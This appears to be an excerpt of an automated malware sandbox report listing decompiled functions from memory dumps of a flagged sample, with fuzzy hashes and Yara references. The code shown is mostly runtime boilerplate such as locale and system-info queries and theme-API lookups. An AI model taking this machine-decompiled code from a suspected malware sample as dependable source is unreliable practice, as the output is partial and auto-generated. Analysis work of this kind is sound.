Uniqueness

Uniqueness Score: -1.00%

Function 00385C96, Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00385C96(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x385cfe);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E0038412C( &_v20, 7,  &_v15);
				E00382B30(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E00385D05);
				return E00383EBC( &_v20);
			}

0x00385ca1
0x00385ca6
0x00385ca7
0x00385cac
0x00385caf
0x00385cbe
0x00385cce
0x00385cd9
0x00385ce4
0x00385ce4
0x00385cea
0x00385ced
0x00385cf0
0x00385cfd

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00385CFE), ref: 00385CBE

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5f6610ee72c0f926dfc97fa510f1ce6bf79c75759f56b35a4018fae8a020d592
Instruction ID: 673317f7c70a003aa0544df45c17164874e4c5a6cd76e21f8e64e8bf6415a4b7
Opcode Fuzzy Hash: 5f6610ee72c0f926dfc97fa510f1ce6bf79c75759f56b35a4018fae8a020d592
Instruction Fuzzy Hash: B4F0C831A04709AFEB06FEA1CC41AEEB3BAFB84710F4089B4B51097584E7B42A04C780

Uniqueness

Uniqueness Score: -1.00%

Function 003A1078, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E003A1078(intOrPtr __eax, intOrPtr __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v48;
				struct _SYSTEM_INFO* _t17;
				unsigned int _t20;
				unsigned int _t22;
				signed int _t31;
				intOrPtr _t33;

				_v12 = __edx;
				_v8 = __eax;
				_t17 =  &_v48;
				GetSystemInfo(_t17);
				_t33 = _v8;
				_t31 = _v12 - 1;
				if(_t31 >= 0) {
					if( *((short*)( &_v48 + 0x20)) == 3) {
						do {
							_t20 =  *(_t33 + _t31 * 4) >> 0x10;
							 *(_t33 + _t31 * 4) = _t20;
							_t31 = _t31 - 1;
						} while (_t31 >= 0);
						return _t20;
					} else {
						goto L2;
					}
					do {
						L2:
						asm("bswap eax");
						_t22 =  *(_t33 + _t31 * 4) >> 8;
						 *(_t33 + _t31 * 4) = _t22;
						_t31 = _t31 - 1;
					} while (_t31 >= 0);
					return _t22;
				}
				return _t17;
			}

0x003a107e
0x003a1081
0x003a1084
0x003a1088
0x003a108d
0x003a1093
0x003a1094
0x003a109e
0x003a10b1
0x003a10ba
0x003a10c2
0x003a10c5
0x003a10c5
0x00000000
0x00000000
0x00000000
0x00000000
0x003a10a0
0x003a10a0
0x003a10a3
0x003a10a5
0x003a10a8
0x003a10ab
0x003a10ab
0x00000000
0x003a10a0
0x003a10cc

APIs

GetSystemInfo.KERNEL32(?), ref: 003A1088

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 4e18ddfcf67a00b5a80888f5cd40776e27dd7d635f87beb603376136d8730270
Instruction ID: d487fe0746ad44c38aa961767406749693825260fab396d902b571b50a671c06
Opcode Fuzzy Hash: 4e18ddfcf67a00b5a80888f5cd40776e27dd7d635f87beb603376136d8730270
Instruction Fuzzy Hash: 48F09075E051499FCB12EF98C48889DBBB8FB57341B514299D404DB342EB31A6D4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00385C98, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00385C98(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x385cfe);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E0038412C( &_v20, 7,  &_v15);
				E00382B30(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E00385D05);
				return E00383EBC( &_v20);
			}

0x00385ca1
0x00385ca6
0x00385ca7
0x00385cac
0x00385caf
0x00385cbe
0x00385cce
0x00385cd9
0x00385ce4
0x00385ce4
0x00385cea
0x00385ced
0x00385cf0
0x00385cfd

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00385CFE), ref: 00385CBE

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 3281aa4ebce1b731c386958859a4c84645b8c8932c955a35b0b5f3f9df4fa913
Instruction ID: fc2cca4386658c15fa102aeee4c87dc56b2136e4cff00c96ac68ceea1a39424a
Opcode Fuzzy Hash: 3281aa4ebce1b731c386958859a4c84645b8c8932c955a35b0b5f3f9df4fa913
Instruction Fuzzy Hash: 6BF0C831904709AFEB06FEA1CC41AEEB3BAFB84710F4089B4A51097584E7B42604C780

Uniqueness

Uniqueness Score: -1.00%

Function 0038ADFC, Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0038ADFC(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				if(GetLocaleInfoA(__eax, __edx,  &_v260, 0x100) <= 0) {
					return E00383F10(_t10, _t18);
				}
				return E00383FAC(_t10, _t5 - 1,  &_v260);
			}

0x0038ae07
0x0038ae09
0x0038ae21
0x00000000
0x0038ae39
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0038AE1A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: fafdd0b448a980ee43b3578ba56080639d0f7a3920c6ad48a189e3d9533be2e3
Instruction ID: c9b9e120d8973b39308f3828246393f68f46d7b316066f2ba3874302bfedbcea
Opcode Fuzzy Hash: fafdd0b448a980ee43b3578ba56080639d0f7a3920c6ad48a189e3d9533be2e3
Instruction Fuzzy Hash: 35E0D871B047181BD312B5585C82AFA736C9B58710F4045EBBE04CB346EDB0AE4047E5

Uniqueness

Uniqueness Score: -1.00%

Function 003B9348, Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E003B9348(intOrPtr _a4) {
				intOrPtr _t26;

				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 8)));
				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 4)));
				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)))));
				_t26 =  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x30));
				_push(_t26);
				L003865BC();
				 *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 0xc)) = _t26;
				return _t26;
			}

0x003b9354
0x003b935e
0x003b9367
0x003b936e
0x003b9371
0x003b9372
0x003b937d
0x003b9381

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 003B9372

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 867aa7057f28c0603ac2f3c2e42c685862074d38232cb8d0c7f755f6fe3ccedc
Instruction ID: 95f77762d968ecd048c52e679b390cb209bc38a0662d64f7ec296665b7262be7
Opcode Fuzzy Hash: 867aa7057f28c0603ac2f3c2e42c685862074d38232cb8d0c7f755f6fe3ccedc
Instruction Fuzzy Hash: 01F0C579205608AF8B40DF9DC589D4AFBE8BB4C260B058594B988CF325C230FD808F94

Uniqueness

Uniqueness Score: -1.00%

Function 0038AE48, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0038AE48(int __eax, char __ecx, int __edx) {
				char _v16;
				char _t5;
				char _t6;

				_push(__ecx);
				_t6 = __ecx;
				if(GetLocaleInfoA(__eax, __edx,  &_v16, 2) <= 0) {
					_t5 = _t6;
				} else {
					_t5 = _v16;
				}
				return _t5;
			}

0x0038ae4b
0x0038ae4c
0x0038ae62
0x0038ae69
0x0038ae64
0x0038ae64
0x0038ae64
0x0038ae6f

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0038C6C2,00000000,0038C8DB,?,?,00000000,00000000), ref: 0038AE5B

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7ae7593dbe02f1860c27b342f98d9ba88d646d2b8e933bd6fb7b3d5f50c32b81
Instruction ID: 78a69f9467b4f98d0253cca22c07297a204699ce5b6b4ab3a3ccd179edb81406
Opcode Fuzzy Hash: 7ae7593dbe02f1860c27b342f98d9ba88d646d2b8e933bd6fb7b3d5f50c32b81
Instruction Fuzzy Hash: C1D05E6630DB502AF221615A2D85EBB5B9CCBC5BA0F1048BAF948C6202D2108C06D372

Uniqueness

Uniqueness Score: -1.00%

Function 02356EDE, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL(00000000), ref: 02356EF6

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorStatus
String ID:
API String ID: 1596131371-0
Opcode ID: 400f2c174f4ba53d327e5963ca079d50da957388f5f881c7e2e41c18e337e773
Instruction ID: aadd9857cc3c4d06e0480100662b5075ebb0ddbfa0ac1f9d137a6757392800c3
Opcode Fuzzy Hash: 400f2c174f4ba53d327e5963ca079d50da957388f5f881c7e2e41c18e337e773
Instruction Fuzzy Hash: 23C01271A452026BDA085A10D91ED2BBA1DAB50B80F10981DF54985060DB759460CA10

Uniqueness

Uniqueness Score: -1.00%

Function 003898C8, Relevance: 1.5, APIs: 1, Instructions: 6
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003898C8() {
				struct _SYSTEMTIME* _t2;

				GetLocalTime(_t2);
				return _t2->wYear;
			}

0x003898cc
0x003898d8

APIs

GetLocalTime.KERNEL32 ref: 003898CC

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: b92236a28a31e468d0e9f3f997379c12c43d6155389758d71cd8e112cd2a3d34
Instruction ID: 00bde18853ce7c409aeac9469e27c0089a8837c8a6fbf588ffbe533e21159941
Opcode Fuzzy Hash: b92236a28a31e468d0e9f3f997379c12c43d6155389758d71cd8e112cd2a3d34
Instruction Fuzzy Hash: 34A01108808C0282CA8033280C032A83000A800A20FC88BC0A8B8083E2EA2A022082AB

Uniqueness

Uniqueness Score: -1.00%

Function 02366664, Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2976d815c13b6ab56daaaf63c5821484bcbb768212ce1aec526ce403924be9ff
Instruction ID: 1918174873e40d0a7b7ba74917b8a17a57c95919756236de373392fa038214a5
Opcode Fuzzy Hash: 2976d815c13b6ab56daaaf63c5821484bcbb768212ce1aec526ce403924be9ff
Instruction Fuzzy Hash: 06F1029284E3C11FD3134BB848BA6917FB49E27214B5E49DBC4C0CF4E3E15D696AD722

Uniqueness

Uniqueness Score: -1.00%

Function 00401618, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2415958070.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: b779512e4007c3fbec911146c72a570b797b4282825b9cc801c80b08f49626bb
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 8021D6329002049BCB10EF69CCC08ABB7A9FF44350B09C57AE916AB295D734FA15CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0047B0CC, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0047B0CC(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0047B237(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0047B2F1(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0047B1DC(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0047B237(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E0047B2D3(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x0047b0d0
0x0047b0d1
0x0047b0d2
0x0047b0d5
0x0047b0d7
0x0047b0da
0x0047b0db
0x0047b0dd
0x0047b0de
0x0047b0df
0x0047b0e2
0x0047b0ec
0x0047b19d
0x0047b1a4
0x0047b1ad
0x0047b0f2
0x0047b0f2
0x0047b0f8
0x0047b0fe
0x0047b101
0x0047b104
0x0047b108
0x0047b10d
0x0047b112
0x0047b192
0x00000000
0x0047b114
0x0047b114
0x0047b120
0x0047b122
0x0047b17d
0x0047b17d
0x0047b183
0x00000000
0x0047b124
0x0047b133
0x0047b135
0x0047b136
0x0047b137
0x0047b13a
0x0047b13a
0x0047b13c
0x00000000
0x0047b13e
0x0047b13e
0x0047b188
0x0047b140
0x0047b140
0x0047b144
0x0047b14c
0x0047b151
0x0047b156
0x0047b162
0x0047b16a
0x0047b171
0x0047b177
0x0047b17b
0x00000000
0x0047b17b
0x0047b13e
0x0047b13c
0x00000000
0x0047b122
0x0047b196
0x0047b196
0x0047b196
0x0047b112
0x0047b1b2
0x0047b1b9

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 30e2aa327f022f24f775430cc83dfca2668183209538ceffecb8f1cb166e9e89
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: BC2106329002049FCB10EF69C8D4AEBB7A5FF443A0B45C0A9EC198B246D734F915CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 004320A4, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E004320A4(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0043220B(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E004322C5(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E004321B0(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0043220B(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E004322A7(_t82[2], 1);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])();
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x004320a8
0x004320a9
0x004320aa
0x004320ad
0x004320af
0x004320b2
0x004320b3
0x004320b5
0x004320b6
0x004320b7
0x004320ba
0x004320c4
0x00432175
0x0043217c
0x00432185
0x004320ca
0x004320ca
0x004320d0
0x004320d6
0x004320d9
0x004320dc
0x004320e0
0x004320e5
0x004320ea
0x0043216a
0x00000000
0x004320ec
0x004320ec
0x004320f8
0x004320fa
0x00432155
0x00432155
0x0043215b
0x00000000
0x004320fc
0x0043210b
0x0043210d
0x0043210e
0x0043210f
0x00432112
0x00432112
0x00432114
0x00000000
0x00432116
0x00432116
0x00432160
0x00432118
0x00432118
0x0043211c
0x00432124
0x00432129
0x0043212e
0x0043213a
0x00432142
0x00432149
0x0043214f
0x00432153
0x00000000
0x00432153
0x00432116
0x00432114
0x00000000
0x004320fa
0x0043216e
0x0043216e
0x0043216e
0x004320ea
0x0043218a
0x00432191

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 3a2f165acdbdbec1a72a7c7626fc66b0c20fff55032ecf43204bce20b560ab71
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: BC21B672900204AFCB14DF69CD809ABBBA5FF4C350F0581AAEE159B245DB74FA15CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 023620D4, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 987ada33140f259dbc3aad04e129e60172b1e0c8aea0d68e00c30b197eddeeb7
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: 2A219572904204ABC714DF69CCC4977BBA9FF48310B06C569DD569B249D730F916CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 003A743C, Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 266
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E003A743C(void* __ebx, void* __ecx) {
				char _v5;
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t61;
				intOrPtr _t64;

				_t2 =  *0x3dba48; // 0x2140de4
				E003A7234(_t2);
				_push(_t64);
				_push(0x3a77ef);
				_push( *[fs:eax]);
				 *[fs:eax] = _t64;
				 *0x3dba44 =  *0x3dba44 + 1;
				if( *0x3dba40 == 0) {
					 *0x3dba40 = LoadLibraryA("uxtheme.dll");
					if( *0x3dba40 > 0) {
						_push("OpenThemeData");
						_t9 =  *0x3dba40;
						_push(_t9);
						L00386224();
						 *0x3db980 = _t9;
						_push("CloseThemeData");
						_t10 =  *0x3dba40;
						_push(_t10);
						L00386224();
						 *0x3db984 = _t10;
						_push("DrawThemeBackground");
						_t11 =  *0x3dba40;
						_push(_t11);
						L00386224();
						 *0x3db988 = _t11;
						_push("DrawThemeText");
						_t12 =  *0x3dba40;
						_push(_t12);
						L00386224();
						 *0x3db98c = _t12;
						_push("GetThemeBackgroundContentRect");
						_t13 =  *0x3dba40;
						_push(_t13);
						L00386224();
						 *0x3db990 = _t13;
						_push("GetThemeBackgroundContentRect");
						_t14 =  *0x3dba40;
						_push(_t14);
						L00386224();
						 *0x3db994 = _t14;
						_push("GetThemePartSize");
						_t15 =  *0x3dba40;
						_push(_t15);
						L00386224();
						 *0x3db998 = _t15;
						_push("GetThemeTextExtent");
						_t16 =  *0x3dba40;
						_push(_t16);
						L00386224();
						 *0x3db99c = _t16;
						_push("GetThemeTextMetrics");
						_t17 =  *0x3dba40;
						_push(_t17);
						L00386224();
						 *0x3db9a0 = _t17;
						_push("GetThemeBackgroundRegion");
						_t18 =  *0x3dba40;
						_push(_t18);
						L00386224();
						 *0x3db9a4 = _t18;
						_push("HitTestThemeBackground");
						_t19 =  *0x3dba40;
						_push(_t19);
						L00386224();
						 *0x3db9a8 = _t19;
						_push("DrawThemeEdge");
						_t20 =  *0x3dba40;
						_push(_t20);
						L00386224();
						 *0x3db9ac = _t20;
						_push("DrawThemeIcon");
						_t21 =  *0x3dba40;
						_push(_t21);
						L00386224();
						 *0x3db9b0 = _t21;
						_push("IsThemePartDefined");
						_t22 =  *0x3dba40;
						_push(_t22);
						L00386224();
						 *0x3db9b4 = _t22;
						_push("IsThemeBackgroundPartiallyTransparent");
						_t23 =  *0x3dba40;
						_push(_t23);
						L00386224();
						 *0x3db9b8 = _t23;
						_push("GetThemeColor");
						_t24 =  *0x3dba40;
						_push(_t24);
						L00386224();
						 *0x3db9bc = _t24;
						_push("GetThemeMetric");
						_t25 =  *0x3dba40;
						_push(_t25);
						L00386224();
						 *0x3db9c0 = _t25;
						_push("GetThemeString");
						_t26 =  *0x3dba40;
						_push(_t26);
						L00386224();
						 *0x3db9c4 = _t26;
						_push("GetThemeBool");
						_t27 =  *0x3dba40;
						_push(_t27);
						L00386224();
						 *0x3db9c8 = _t27;
						_push("GetThemeInt");
						_t28 =  *0x3dba40;
						_push(_t28);
						L00386224();
						 *0x3db9cc = _t28;
						_push("GetThemeEnumValue");
						_t29 =  *0x3dba40;
						_push(_t29);
						L00386224();
						 *0x3db9d0 = _t29;
						_push("GetThemePosition");
						_t30 =  *0x3dba40;
						_push(_t30);
						L00386224();
						 *0x3db9d4 = _t30;
						_push("GetThemeFont");
						_t31 =  *0x3dba40;
						_push(_t31);
						L00386224();
						 *0x3db9d8 = _t31;
						_push("GetThemeRect");
						_t32 =  *0x3dba40;
						_push(_t32);
						L00386224();
						 *0x3db9dc = _t32;
						_push("GetThemeMargins");
						_t33 =  *0x3dba40;
						_push(_t33);
						L00386224();
						 *0x3db9e0 = _t33;
						_push("GetThemeIntList");
						_t34 =  *0x3dba40;
						_push(_t34);
						L00386224();
						 *0x3db9e4 = _t34;
						_push("GetThemePropertyOrigin");
						_t35 =  *0x3dba40;
						_push(_t35);
						L00386224();
						 *0x3db9e8 = _t35;
						_push("SetWindowTheme");
						_t36 =  *0x3dba40;
						_push(_t36);
						L00386224();
						 *0x3db9ec = _t36;
						_push("GetThemeFilename");
						_t37 =  *0x3dba40;
